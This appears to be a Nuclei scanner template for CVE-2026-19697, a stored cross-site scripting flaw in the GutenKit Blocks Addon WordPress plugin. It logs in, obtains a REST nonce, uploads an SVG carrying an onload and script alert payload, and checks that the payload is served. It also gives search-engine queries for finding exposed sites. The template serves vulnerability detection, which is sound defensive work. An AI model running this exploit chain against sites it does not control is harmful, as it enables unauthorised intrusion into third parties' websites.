Description
GutenKit Blocks Addon before 2.5.0 lets an authenticated Author upload an unsanitized SVG through the WordPress REST media endpoint; JavaScript in the SVG can execute when a user opens its URL.
GutenKit Blocks Addon before 2.5.0 lets an authenticated Author upload an unsanitized SVG through the WordPress REST media endpoint; JavaScript in the SVG can execute when a user opens its URL.
id: CVE-2026-19697
info:
name: GutenKit Blocks Addon < 2.5.0 - Stored Cross-Site Scripting
author: yaswanth77
severity: medium
description: |
GutenKit Blocks Addon before 2.5.0 lets an authenticated Author upload an unsanitized SVG through the WordPress REST media endpoint; JavaScript in the SVG can execute when a user opens its URL.
impact: |
An Author can store JavaScript in an uploaded SVG that executes in a visitor's browser when the SVG is opened.
remediation: |
Update GutenKit Blocks Addon to version 2.5.0 or later.
reference:
- https://wpscan.com/vulnerability/d144679c-10ef-4a69-b0e9-fd9e18a2aafc
- https://wordpress.org/plugins/gutenkit-blocks-addon/
- https://nvd.nist.gov/vuln/detail/CVE-2026-19697
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
cvss-score: 6.8
cve-id: CVE-2026-19697
cwe-id: CWE-79
metadata:
verified: true
max-request: 8
vendor: wpmet
product: gutenkit-blocks-addon
shodan-query: 'http.html:"/wp-content/plugins/gutenkit-blocks-addon"'
fofa-query: 'body="wp-content/plugins/gutenkit-blocks-addon"'
tags: cve,cve2026,wordpress,wp-plugin,xss,fileupload,gutenkit,intrusive,vuln,authenticated
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)
http:
- raw:
- |
GET /wp-content/plugins/gutenkit-blocks-addon/readme.txt HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: version
internal: true
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
matchers:
- type: dsl
dsl:
- 'compare_versions(version, "< 2.5.0")'
- 'status_code == 200'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-json/gutenkit/v1"
extractors:
- type: json
name: gutenkit_namespace
part: body
json:
- '.namespace'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'gutenkit_namespace == "gutenkit/v1"'
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1&redirect_to=%2Fwp-admin%2F
matchers:
- type: regex
part: header
regex:
- '(?i)wordpress_logged_in'
internal: true
- raw:
- |
GET /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: wp_nonce
internal: true
group: 1
part: body
regex:
- '^([a-f0-9]{10})$'
matchers:
- type: regex
part: body
regex:
- '^[a-f0-9]{10}$'
internal: true
- raw:
- |
POST /wp-json/wp/v2/media HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{wp_nonce}}
Content-Disposition: attachment; filename={{randstr}}.svg
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><script>alert(document.domain)</script><rect width="100" height="100"/></svg>
extractors:
- type: json
name: svg_url
internal: true
part: body
json:
- '.source_url'
- type: json
name: media_id
internal: true
part: body
json:
- '.id'
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'contains(body, "source_url")'
condition: and
internal: true
- method: GET
path:
- "{{svg_url}}"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "onload=\"alert(document.domain)\"", "<script>alert(document.domain)</script>")'
- 'contains(content_type, "image/svg+xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450221008d7dac15de2e7bf1e2bcf77253e0a7f567dd7042e8a3c457e8c020ff387f8a6802207484098db3f5e64c9c96940ba36f6ad46ba8e4edfe5826d1eafac71aa71a00d7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.